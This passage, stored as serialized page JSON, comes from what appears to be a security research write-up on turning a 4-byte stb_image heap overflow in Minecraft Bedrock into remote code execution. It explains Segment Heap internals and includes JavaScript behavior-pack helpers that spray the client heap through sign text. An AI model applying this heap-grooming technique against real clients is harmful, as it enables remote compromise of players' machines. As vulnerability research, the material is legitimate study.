",{"type":23,"tag":504,"props":151334,"children":151335},{"style":5047},[151336],{"type":29,"value":6613},{"type":23,"tag":504,"props":151338,"children":151339},{"style":5058},[151340],{"type":29,"value":5128},{"type":23,"tag":504,"props":151342,"children":151343},{"style":5139},[151344],{"type":29,"value":151345},"stbi__malloc",{"type":23,"tag":504,"props":151347,"children":151348},{"style":5058},[151349],{"type":29,"value":603},{"type":23,"tag":504,"props":151351,"children":151352},{"style":5083},[151353],{"type":29,"value":19577},{"type":23,"tag":504,"props":151355,"children":151356},{"style":5047},[151357],{"type":29,"value":11863},{"type":23,"tag":504,"props":151359,"children":151360},{"style":5041},[151361],{"type":29,"value":149728},{"type":23,"tag":504,"props":151363,"children":151364},{"style":5058},[151365],{"type":29,"value":15803},{"type":23,"tag":504,"props":151367,"children":151368},{"style":5041},[151369],{"type":29,"value":51635},{"type":23,"tag":504,"props":151371,"children":151372},{"style":5047},[151373],{"type":29,"value":11863},{"type":23,"tag":504,"props":151375,"children":151376},{"style":5041},[151377],{"type":29,"value":149728},{"type":23,"tag":504,"props":151379,"children":151380},{"style":5058},[151381],{"type":29,"value":15803},{"type":23,"tag":504,"props":151383,"children":151384},{"style":5041},[151385],{"type":29,"value":533},{"type":23,"tag":504,"props":151387,"children":151388},{"style":5058},[151389],{"type":29,"value":5888},{"type":23,"tag":32,"props":151391,"children":151392},{},[151393,151395,151400,151402,151407],{"type":29,"value":151394},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":23,"tag":154,"props":151396,"children":151398},{"className":151397},[],[151399],{"type":29,"value":149947},{"type":29,"value":151401}," and the value of ",{"type":23,"tag":154,"props":151403,"children":151405},{"className":151404},[],[151406],{"type":29,"value":32},{"type":29,"value":151408}," just before the OOB write happens:",{"type":23,"tag":4743,"props":151410,"children":151412},{"code":151411},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[151413],{"type":23,"tag":154,"props":151414,"children":151415},{"__ignoreMap":7},[151416],{"type":29,"value":151411},{"type":23,"tag":32,"props":151418,"children":151419},{},[151420,151422,151427,151429,151434],{"type":29,"value":151421},"There are multiple within-bound writes to ",{"type":23,"tag":154,"props":151423,"children":151425},{"className":151424},[],[151426],{"type":29,"value":32},{"type":29,"value":151428},", but the last write happens just after the ",{"type":23,"tag":154,"props":151430,"children":151432},{"className":151431},[],[151433],{"type":29,"value":149947},{"type":29,"value":151435}," allocation.",{"type":23,"tag":320,"props":151437,"children":151439},{"id":151438},"summarizing-the-corruption",[151440],{"type":29,"value":151441},"Summarizing the Corruption",{"type":23,"tag":1022,"props":151443,"children":151444},{},[151445,151458,151486],{"type":23,"tag":143,"props":151446,"children":151447},{},[151448,151450,151456],{"type":29,"value":151449},"A single ",{"type":23,"tag":154,"props":151451,"children":151453},{"className":151452},[],[151454],{"type":29,"value":151455},"0x01",{"type":29,"value":151457}," byte write OOB",{"type":23,"tag":143,"props":151459,"children":151460},{},[151461,151463],{"type":29,"value":151462},"4-byte OOB write just above the allocated buffer\n",{"type":23,"tag":1022,"props":151464,"children":151465},{},[151466,151471,151481],{"type":23,"tag":143,"props":151467,"children":151468},{},[151469],{"type":29,"value":151470},"First three bytes are controllable",{"type":23,"tag":143,"props":151472,"children":151473},{},[151474,151476],{"type":29,"value":151475},"Last byte will be ",{"type":23,"tag":154,"props":151477,"children":151479},{"className":151478},[],[151480],{"type":29,"value":115122},{"type":23,"tag":143,"props":151482,"children":151483},{},[151484],{"type":29,"value":151485},"Size of the allocation is controlled",{"type":23,"tag":143,"props":151487,"children":151488},{},[151489,151491],{"type":29,"value":151490},"Both corruptions are done on a short-lived allocation\n",{"type":23,"tag":1022,"props":151492,"children":151493},{},[151494,151499],{"type":23,"tag":143,"props":151495,"children":151496},{},[151497],{"type":29,"value":151498},"Allocated just before the image-parsing process",{"type":23,"tag":143,"props":151500,"children":151501},{},[151502],{"type":29,"value":151503},"Freed immediately upon parsing completion",{"type":23,"tag":20844,"props":151505,"children":151506},{},[],{"type":23,"tag":32,"props":151508,"children":151509},{},[151510,151512,151519,151521,151528],{"type":29,"value":151511},"Note that this bug was already found before (",{"type":23,"tag":68,"props":151513,"children":151516},{"href":151514,"rel":151515},"https://github.com/nothings/stb/issues/656",[72],[151517],{"type":29,"value":151518},"Github Issue",{"type":29,"value":151520},") but we missed it at the time. It was later fixed in ",{"type":23,"tag":68,"props":151522,"children":151525},{"href":151523,"rel":151524},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[72],[151526],{"type":29,"value":151527},"this commit",{"type":29,"value":357},{"type":23,"tag":24,"props":151530,"children":151531},{"id":7464},[151532],{"type":29,"value":7467},{"type":23,"tag":32,"props":151534,"children":151535},{},[151536],{"type":29,"value":151537},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":23,"tag":32,"props":151539,"children":151540},{},[151541],{"type":29,"value":151542},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":23,"tag":320,"props":151544,"children":151546},{"id":151545},"searching-for-better-primitives",[151547],{"type":29,"value":151548},"Searching for Better Primitives",{"type":23,"tag":32,"props":151550,"children":151551},{},[151552],{"type":29,"value":151553},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":23,"tag":32,"props":151555,"children":151556},{},[151557,151559,151566],{"type":29,"value":151558},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":23,"tag":68,"props":151560,"children":151563},{"href":151561,"rel":151562},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[72],[151564],{"type":29,"value":151565},"UWP",{"type":29,"value":151567}," applications (such as Minecraft Bedrock Edition).",{"type":23,"tag":320,"props":151569,"children":151571},{"id":151570},"segment-heap",[151572],{"type":29,"value":151573},"Segment Heap",{"type":23,"tag":32,"props":151575,"children":151576},{},[151577,151579,151586],{"type":29,"value":151578},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":23,"tag":68,"props":151580,"children":151583},{"href":151581,"rel":151582},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[72],[151584],{"type":29,"value":151585},"this talk",{"type":29,"value":151587}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":23,"tag":20944,"props":151589,"children":151591},{"id":151590},"low-fragmentation-heap",[151592],{"type":29,"value":151593},"Low Fragmentation Heap",{"type":23,"tag":32,"props":151595,"children":151596},{},[151597,151599,151605],{"type":29,"value":151598},"Low Fragmentation Heap (LFH) services allocations of ",{"type":23,"tag":154,"props":151600,"children":151602},{"className":151601},[],[151603],{"type":29,"value":151604},"0x3ff0",{"type":29,"value":151606}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":23,"tag":32,"props":151608,"children":151609},{},[151610],{"type":29,"value":151611},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":23,"tag":4743,"props":151613,"children":151615},{"code":151614},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[151616],{"type":23,"tag":154,"props":151617,"children":151618},{"__ignoreMap":7},[151619],{"type":29,"value":151614},{"type":23,"tag":32,"props":151621,"children":151622},{},[151623],{"type":29,"value":151624},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":23,"tag":20944,"props":151626,"children":151628},{"id":151627},"variable-size",[151629],{"type":29,"value":151630},"Variable Size",{"type":23,"tag":32,"props":151632,"children":151633},{},[151634,151636,151642,151644,151650],{"type":29,"value":151635},"This subsegment is used for allocation sizes from ",{"type":23,"tag":154,"props":151637,"children":151639},{"className":151638},[],[151640],{"type":29,"value":151641},"0x4000",{"type":29,"value":151643}," and up to ",{"type":23,"tag":154,"props":151645,"children":151647},{"className":151646},[],[151648],{"type":29,"value":151649},"0x20_000",{"type":29,"value":151651},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":23,"tag":4743,"props":151653,"children":151655},{"code":151654},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[151656],{"type":23,"tag":154,"props":151657,"children":151658},{"__ignoreMap":7},[151659],{"type":29,"value":151654},{"type":23,"tag":32,"props":151661,"children":151662},{},[151663,151665,151671],{"type":29,"value":151664},"The header, ",{"type":23,"tag":154,"props":151666,"children":151668},{"className":151667},[],[151669],{"type":29,"value":151670},"HEAP_VS_CHUNK_HEADER",{"type":29,"value":151672},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":23,"tag":20844,"props":151674,"children":151675},{},[],{"type":23,"tag":32,"props":151677,"children":151678},{},[151679],{"type":29,"value":151680},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":23,"tag":32,"props":151682,"children":151683},{},[151684,151686,151693],{"type":29,"value":151685},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":23,"tag":68,"props":151687,"children":151690},{"href":151688,"rel":151689},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[72],[151691],{"type":29,"value":151692},"technique published",{"type":29,"value":151694}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":23,"tag":32,"props":151696,"children":151697},{},[151698],{"type":29,"value":151699},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":23,"tag":32,"props":151701,"children":151702},{},[151703],{"type":29,"value":151704},"In either case, we needed a way to spray the heap before we could proceed.",{"type":23,"tag":320,"props":151706,"children":151708},{"id":151707},"finding-a-way-to-spray-the-heap",[151709],{"type":29,"value":151710},"Finding a Way to Spray the Heap",{"type":23,"tag":32,"props":151712,"children":151713},{},[151714],{"type":29,"value":151715},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":23,"tag":1022,"props":151717,"children":151718},{},[151719,151724,151729,151734],{"type":23,"tag":143,"props":151720,"children":151721},{},[151722],{"type":29,"value":151723},"The size of the allocation",{"type":23,"tag":143,"props":151725,"children":151726},{},[151727],{"type":29,"value":151728},"The data written into the allocated buffer",{"type":23,"tag":143,"props":151730,"children":151731},{},[151732],{"type":29,"value":151733},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":23,"tag":143,"props":151735,"children":151736},{},[151737],{"type":29,"value":151738},"The number of created objects (preferably unbounded)",{"type":23,"tag":32,"props":151740,"children":151741},{},[151742],{"type":29,"value":151743},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":23,"tag":20944,"props":151745,"children":151747},{"id":151746},"minecraft-signs",[151748],{"type":29,"value":151749},"Minecraft Signs",{"type":23,"tag":32,"props":151751,"children":151752},{},[151753],{"type":29,"value":151754},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":23,"tag":32,"props":151756,"children":151757},{},[151758,151760,151766],{"type":29,"value":151759},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":23,"tag":154,"props":151761,"children":151763},{"className":151762},[],[151764],{"type":29,"value":151765},"std::string",{"type":29,"value":357},{"type":23,"tag":32,"props":151768,"children":151769},{},[151770,151772,151777],{"type":29,"value":151771},"In Microsoft’s C++ implementation, ",{"type":23,"tag":154,"props":151773,"children":151775},{"className":151774},[],[151776],{"type":29,"value":151765},{"type":29,"value":151778}," is structured roughly as follows:",{"type":23,"tag":4743,"props":151780,"children":151782},{"code":151781,"language":3110,"meta":7,"className":18562,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[151783],{"type":23,"tag":154,"props":151784,"children":151785},{"__ignoreMap":7},[151786,151797,151804,151816,151832,151856,151863,151874,151886],{"type":23,"tag":504,"props":151787,"children":151788},{"class":5016,"line":5017},[151789,151793],{"type":23,"tag":504,"props":151790,"children":151791},{"style":5030},[151792],{"type":29,"value":11448},{"type":23,"tag":504,"props":151794,"children":151795},{"style":5058},[151796],{"type":29,"value":87107},{"type":23,"tag":504,"props":151798,"children":151799},{"class":5016,"line":4868},[151800],{"type":23,"tag":504,"props":151801,"children":151802},{"style":5058},[151803],{"type":29,"value":12926},{"type":23,"tag":504,"props":151805,"children":151806},{"class":5016,"line":4876},[151807,151812],{"type":23,"tag":504,"props":151808,"children":151809},{"style":5030},[151810],{"type":29,"value":151811},"    union",{"type":23,"tag":504,"props":151813,"children":151814},{"style":5058},[151815],{"type":29,"value":5333},{"type":23,"tag":504,"props":151817,"children":151818},{"class":5016,"line":5099},[151819,151824,151828],{"type":23,"tag":504,"props":151820,"children":151821},{"style":5030},[151822],{"type":29,"value":151823},"        char",{"type":23,"tag":504,"props":151825,"children":151826},{"style":5047},[151827],{"type":29,"value":6613},{"type":23,"tag":504,"props":151829,"children":151830},{"style":5058},[151831],{"type":29,"value":18604},{"type":23,"tag":504,"props":151833,"children":151834},{"class":5016,"line":5203},[151835,151839,151844,151848,151852],{"type":23,"tag":504,"props":151836,"children":151837},{"style":5030},[151838],{"type":29,"value":151823},{"type":23,"tag":504,"props":151840,"children":151841},{"style":5041},[151842],{"type":29,"value":151843}," buf",{"type":23,"tag":504,"props":151845,"children":151846},{"style":5058},[151847],{"type":29,"value":1380},{"type":23,"tag":504,"props":151849,"children":151850},{"style":5083},[151851],{"type":29,"value":42904},{"type":23,"tag":504,"props":151853,"children":151854},{"style":5058},[151855],{"type":29,"value":33629},{"type":23,"tag":504,"props":151857,"children":151858},{"class":5016,"line":5308},[151859],{"type":23,"tag":504,"props":151860,"children":151861},{"style":5058},[151862],{"type":29,"value":41053},{"type":23,"tag":504,"props":151864,"children":151865},{"class":5016,"line":5336},[151866,151870],{"type":23,"tag":504,"props":151867,"children":151868},{"style":5030},[151869],{"type":29,"value":18612},{"type":23,"tag":504,"props":151871,"children":151872},{"style":5058},[151873],{"type":29,"value":126381},{"type":23,"tag":504,"props":151875,"children":151876},{"class":5016,"line":5349},[151877,151881],{"type":23,"tag":504,"props":151878,"children":151879},{"style":5030},[151880],{"type":29,"value":18612},{"type":23,"tag":504,"props":151882,"children":151883},{"style":5058},[151884],{"type":29,"value":151885}," capacity;\n",{"type":23,"tag":504,"props":151887,"children":151888},{"class":5016,"line":5367},[151889],{"type":23,"tag":504,"props":151890,"children":151891},{"style":5058},[151892],{"type":29,"value":18625},{"type":23,"tag":32,"props":151894,"children":151895},{},[151896,151898,151904,151906,151911],{"type":29,"value":151897},"We are primarily interested in the union: ",{"type":23,"tag":154,"props":151899,"children":151901},{"className":151900},[],[151902],{"type":29,"value":151903},"buf",{"type":29,"value":151905}," is used when the string fits within 16 bytes, while ",{"type":23,"tag":154,"props":151907,"children":151909},{"className":151908},[],[151910],{"type":29,"value":15995},{"type":29,"value":151912}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":23,"tag":32,"props":151914,"children":151915},{},[151916],{"type":29,"value":151917},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":23,"tag":32,"props":151919,"children":151920},{},[151921],{"type":29,"value":151922},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":23,"tag":20944,"props":151924,"children":151926},{"id":151925},"spraying-with-server-side-scripting",[151927],{"type":29,"value":151928},"Spraying With Server-Side Scripting",{"type":23,"tag":32,"props":151930,"children":151931},{},[151932],{"type":29,"value":151933},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":23,"tag":32,"props":151935,"children":151936},{},[151937,151939,151945,151946,151952],{"type":29,"value":151938},"We wrote ",{"type":23,"tag":154,"props":151940,"children":151942},{"className":151941},[],[151943],{"type":29,"value":151944},"alloc",{"type":29,"value":4478},{"type":23,"tag":154,"props":151947,"children":151949},{"className":151948},[],[151950],{"type":29,"value":151951},"free",{"type":29,"value":151953}," helpers that trigger an allocation in the client and free it on demand:",{"type":23,"tag":4743,"props":151955,"children":151957},{"code":151956,"language":37672,"meta":7,"className":37670,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[151958],{"type":23,"tag":154,"props":151959,"children":151960},{"__ignoreMap":7},[151961,151969,152011,152044,152089,152101,152108,152115,152176,152203,152218,152225,152232,152261,152276,152283,152290,152298,152322,152373,152384,152391,152398,152435,152462,152469,152498,152528,152535,152562],{"type":23,"tag":504,"props":151962,"children":151963},{"class":5016,"line":5017},[151964],{"type":23,"tag":504,"props":151965,"children":151966},{"style":5021},[151967],{"type":29,"value":151968},"// Allocate sign text in the client\n",{"type":23,"tag":504,"props":151970,"children":151971},{"class":5016,"line":4868},[151972,151976,151981,151985,151989,151993,151998,152002,152007],{"type":23,"tag":504,"props":151973,"children":151974},{"style":5030},[151975],{"type":29,"value":33432},{"type":23,"tag":504,"props":151977,"children":151978},{"style":5139},[151979],{"type":29,"value":151980}," alloc",{"type":23,"tag":504,"props":151982,"children":151983},{"style":5058},[151984],{"type":29,"value":603},{"type":23,"tag":504,"props":151986,"children":151987},{"style":5041},[151988],{"type":29,"value":126039},{"type":23,"tag":504,"props":151990,"children":151991},{"style":5058},[151992],{"type":29,"value":4367},{"type":23,"tag":504,"props":151994,"children":151995},{"style":5041},[151996],{"type":29,"value":151997},"fill",{"type":23,"tag":504,"props":151999,"children":152000},{"style":5047},[152001],{"type":29,"value":546},{"type":23,"tag":504,"props":152003,"children":152004},{"style":6297},[152005],{"type":29,"value":152006},"\"A\"",{"type":23,"tag":504,"props":152008,"children":152009},{"style":5058},[152010],{"type":29,"value":16850},{"type":23,"tag":504,"props":152012,"children":152013},{"class":5016,"line":4876},[152014,152018,152022,152026,152031,152035,152040],{"type":23,"tag":504,"props":152015,"children":152016},{"style":5067},[152017],{"type":29,"value":5070},{"type":23,"tag":504,"props":152019,"children":152020},{"style":5058},[152021],{"type":29,"value":5110},{"type":23,"tag":504,"props":152023,"children":152024},{"style":5030},[152025],{"type":29,"value":13833},{"type":23,"tag":504,"props":152027,"children":152028},{"style":5041},[152029],{"type":29,"value":152030}," sign",{"type":23,"tag":504,"props":152032,"children":152033},{"style":5030},[152034],{"type":29,"value":12409},{"type":23,"tag":504,"props":152036,"children":152037},{"style":5041},[152038],{"type":29,"value":152039}," signs",{"type":23,"tag":504,"props":152041,"children":152042},{"style":5058},[152043],{"type":29,"value":16850},{"type":23,"tag":504,"props":152045,"children":152046},{"class":5016,"line":5099},[152047,152051,152055,152060,152064,152069,152073,152077,152081,152085],{"type":23,"tag":504,"props":152048,"children":152049},{"style":5067},[152050],{"type":29,"value":5314},{"type":23,"tag":504,"props":152052,"children":152053},{"style":5058},[152054],{"type":29,"value":5110},{"type":23,"tag":504,"props":152056,"children":152057},{"style":5041},[152058],{"type":29,"value":152059},"sign",{"type":23,"tag":504,"props":152061,"children":152062},{"style":5058},[152063],{"type":29,"value":357},{"type":23,"tag":504,"props":152065,"children":152066},{"style":5041},[152067],{"type":29,"value":152068},"allocated",{"type":23,"tag":504,"props":152070,"children":152071},{"style":5047},[152072],{"type":29,"value":25749},{"type":23,"tag":504,"props":152074,"children":152075},{"style":5041},[152076],{"type":29,"value":152030},{"type":23,"tag":504,"props":152078,"children":152079},{"style":5058},[152080],{"type":29,"value":357},{"type":23,"tag":504,"props":152082,"children":152083},{"style":5041},[152084],{"type":29,"value":134744},{"type":23,"tag":504,"props":152086,"children":152087},{"style":5058},[152088],{"type":29,"value":16850},{"type":23,"tag":504,"props":152090,"children":152091},{"class":5016,"line":5203},[152092,152097],{"type":23,"tag":504,"props":152093,"children":152094},{"style":5067},[152095],{"type":29,"value":152096},"            continue",{"type":23,"tag":504,"props":152098,"children":152099},{"style":5058},[152100],{"type":29,"value":5061},{"type":23,"tag":504,"props":152102,"children":152103},{"class":5016,"line":5308},[152104],{"type":23,"tag":504,"props":152105,"children":152106},{"style":5058},[152107],{"type":29,"value":5394},{"type":23,"tag":504,"props":152109,"children":152110},{"class":5016,"line":5336},[152111],{"type":23,"tag":504,"props":152112,"children":152113},{"emptyLinePlaceholder":15},[152114],{"type":29,"value":5734},{"type":23,"tag":504,"props":152116,"children":152117},{"class":5016,"line":5349},[152118,152123,152127,152131,152135,152140,152144,152148,152152,152156,152160,152164,152168,152172],{"type":23,"tag":504,"props":152119,"children":152120},{"style":5041},[152121],{"type":29,"value":152122},"        sign",{"type":23,"tag":504,"props":152124,"children":152125},{"style":5058},[152126],{"type":29,"value":357},{"type":23,"tag":504,"props":152128,"children":152129},{"style":5041},[152130],{"type":29,"value":152059},{"type":23,"tag":504,"props":152132,"children":152133},{"style":5058},[152134],{"type":29,"value":357},{"type":23,"tag":504,"props":152136,"children":152137},{"style":5139},[152138],{"type":29,"value":152139},"setText",{"type":23,"tag":504,"props":152141,"children":152142},{"style":5058},[152143],{"type":29,"value":603},{"type":23,"tag":504,"props":152145,"children":152146},{"style":5041},[152147],{"type":29,"value":151997},{"type":23,"tag":504,"props":152149,"children":152150},{"style":5058},[152151],{"type":29,"value":357},{"type":23,"tag":504,"props":152153,"children":152154},{"style":5139},[152155],{"type":29,"value":134994},{"type":23,"tag":504,"props":152157,"children":152158},{"style":5058},[152159],{"type":29,"value":603},{"type":23,"tag":504,"props":152161,"children":152162},{"style":5041},[152163],{"type":29,"value":126039},{"type":23,"tag":504,"props":152165,"children":152166},{"style":5047},[152167],{"type":29,"value":53317},{"type":23,"tag":504,"props":152169,"children":152170},{"style":5083},[152171],{"type":29,"value":6565},{"type":23,"tag":504,"props":152173,"children":152174},{"style":5058},[152175],{"type":29,"value":9267},{"type":23,"tag":504,"props":152177,"children":152178},{"class":5016,"line":5367},[152179,152183,152187,152191,152195,152199],{"type":23,"tag":504,"props":152180,"children":152181},{"style":5041},[152182],{"type":29,"value":152122},{"type":23,"tag":504,"props":152184,"children":152185},{"style":5058},[152186],{"type":29,"value":357},{"type":23,"tag":504,"props":152188,"children":152189},{"style":5041},[152190],{"type":29,"value":152068},{"type":23,"tag":504,"props":152192,"children":152193},{"style":5047},[152194],{"type":29,"value":5050},{"type":23,"tag":504,"props":152196,"children":152197},{"style":5030},[152198],{"type":29,"value":14515},{"type":23,"tag":504,"props":152200,"children":152201},{"style":5058},[152202],{"type":29,"value":5061},{"type":23,"tag":504,"props":152204,"children":152205},{"class":5016,"line":5388},[152206,152210,152214],{"type":23,"tag":504,"props":152207,"children":152208},{"style":5067},[152209],{"type":29,"value":17791},{"type":23,"tag":504,"props":152211,"children":152212},{"style":5041},[152213],{"type":29,"value":152030},{"type":23,"tag":504,"props":152215,"children":152216},{"style":5058},[152217],{"type":29,"value":5061},{"type":23,"tag":504,"props":152219,"children":152220},{"class":5016,"line":5397},[152221],{"type":23,"tag":504,"props":152222,"children":152223},{"style":5058},[152224],{"type":29,"value":5403},{"type":23,"tag":504,"props":152226,"children":152227},{"class":5016,"line":5649},[152228],{"type":23,"tag":504,"props":152229,"children":152230},{"emptyLinePlaceholder":15},[152231],{"type":29,"value":5734},{"type":23,"tag":504,"props":152233,"children":152234},{"class":5016,"line":5666},[152235,152239,152243,152248,152252,152257],{"type":23,"tag":504,"props":152236,"children":152237},{"style":5041},[152238],{"type":29,"value":33494},{"type":23,"tag":504,"props":152240,"children":152241},{"style":5058},[152242],{"type":29,"value":357},{"type":23,"tag":504,"props":152244,"children":152245},{"style":5139},[152246],{"type":29,"value":152247},"warn",{"type":23,"tag":504,"props":152249,"children":152250},{"style":5058},[152251],{"type":29,"value":603},{"type":23,"tag":504,"props":152253,"children":152254},{"style":6297},[152255],{"type":29,"value":152256},"\"No more allocs\"",{"type":23,"tag":504,"props":152258,"children":152259},{"style":5058},[152260],{"type":29,"value":5888},{"type":23,"tag":504,"props":152262,"children":152263},{"class":5016,"line":5683},[152264,152268,152272],{"type":23,"tag":504,"props":152265,"children":152266},{"style":5067},[152267],{"type":29,"value":19037},{"type":23,"tag":504,"props":152269,"children":152270},{"style":5030},[152271],{"type":29,"value":41394},{"type":23,"tag":504,"props":152273,"children":152274},{"style":5058},[152275],{"type":29,"value":5061},{"type":23,"tag":504,"props":152277,"children":152278},{"class":5016,"line":5696},[152279],{"type":23,"tag":504,"props":152280,"children":152281},{"style":5058},[152282],{"type":29,"value":5965},{"type":23,"tag":504,"props":152284,"children":152285},{"class":5016,"line":5705},[152286],{"type":23,"tag":504,"props":152287,"children":152288},{"emptyLinePlaceholder":15},[152289],{"type":29,"value":5734},{"type":23,"tag":504,"props":152291,"children":152292},{"class":5016,"line":5728},[152293],{"type":23,"tag":504,"props":152294,"children":152295},{"style":5021},[152296],{"type":29,"value":152297},"// Free an allocated sign in the client\n",{"type":23,"tag":504,"props":152299,"children":152300},{"class":5016,"line":5737},[152301,152305,152310,152314,152318],{"type":23,"tag":504,"props":152302,"children":152303},{"style":5030},[152304],{"type":29,"value":33432},{"type":23,"tag":504,"props":152306,"children":152307},{"style":5139},[152308],{"type":29,"value":152309}," free",{"type":23,"tag":504,"props":152311,"children":152312},{"style":5058},[152313],{"type":29,"value":603},{"type":23,"tag":504,"props":152315,"children":152316},{"style":5041},[152317],{"type":29,"value":152059},{"type":23,"tag":504,"props":152319,"children":152320},{"style":5058},[152321],{"type":29,"value":16850},{"type":23,"tag":504,"props":152323,"children":152324},{"class":5016,"line":5746},[152325,152329,152333,152337,152341,152345,152349,152353,152357,152361,152365,152369],{"type":23,"tag":504,"props":152326,"children":152327},{"style":5067},[152328],{"type":29,"value":14325},{"type":23,"tag":504,"props":152330,"children":152331},{"style":5058},[152332],{"type":29,"value":5110},{"type":23,"tag":504,"props":152334,"children":152335},{"style":5041},[152336],{"type":29,"value":152059},{"type":23,"tag":504,"props":152338,"children":152339},{"style":5047},[152340],{"type":29,"value":5324},{"type":23,"tag":504,"props":152342,"children":152343},{"style":5030},[152344],{"type":29,"value":41394},{"type":23,"tag":504,"props":152346,"children":152347},{"style":5047},[152348],{"type":29,"value":25749},{"type":23,"tag":504,"props":152350,"children":152351},{"style":5041},[152352],{"type":29,"value":152030},{"type":23,"tag":504,"props":152354,"children":152355},{"style":5058},[152356],{"type":29,"value":357},{"type":23,"tag":504,"props":152358,"children":152359},{"style":5041},[152360],{"type":29,"value":152068},{"type":23,"tag":504,"props":152362,"children":152363},{"style":5047},[152364],{"type":29,"value":5324},{"type":23,"tag":504,"props":152366,"children":152367},{"style":5030},[152368],{"type":29,"value":11104},{"type":23,"tag":504,"props":152370,"children":152371},{"style":5058},[152372],{"type":29,"value":16850},{"type":23,"tag":504,"props":152374,"children":152375},{"class":5016,"line":5813},[152376,152380],{"type":23,"tag":504,"props":152377,"children":152378},{"style":5067},[152379],{"type":29,"value":17791},{"type":23,"tag":504,"props":152381,"children":152382},{"style":5058},[152383],{"type":29,"value":5061},{"type":23,"tag":504,"props":152385,"children":152386},{"class":5016,"line":5821},[152387],{"type":23,"tag":504,"props":152388,"children":152389},{"style":5058},[152390],{"type":29,"value":5403},{"type":23,"tag":504,"props":152392,"children":152393},{"class":5016,"line":5851},[152394],{"type":23,"tag":504,"props":152395,"children":152396},{"emptyLinePlaceholder":15},[152397],{"type":29,"value":5734},{"type":23,"tag":504,"props":152399,"children":152400},{"class":5016,"line":5859},[152401,152406,152410,152414,152418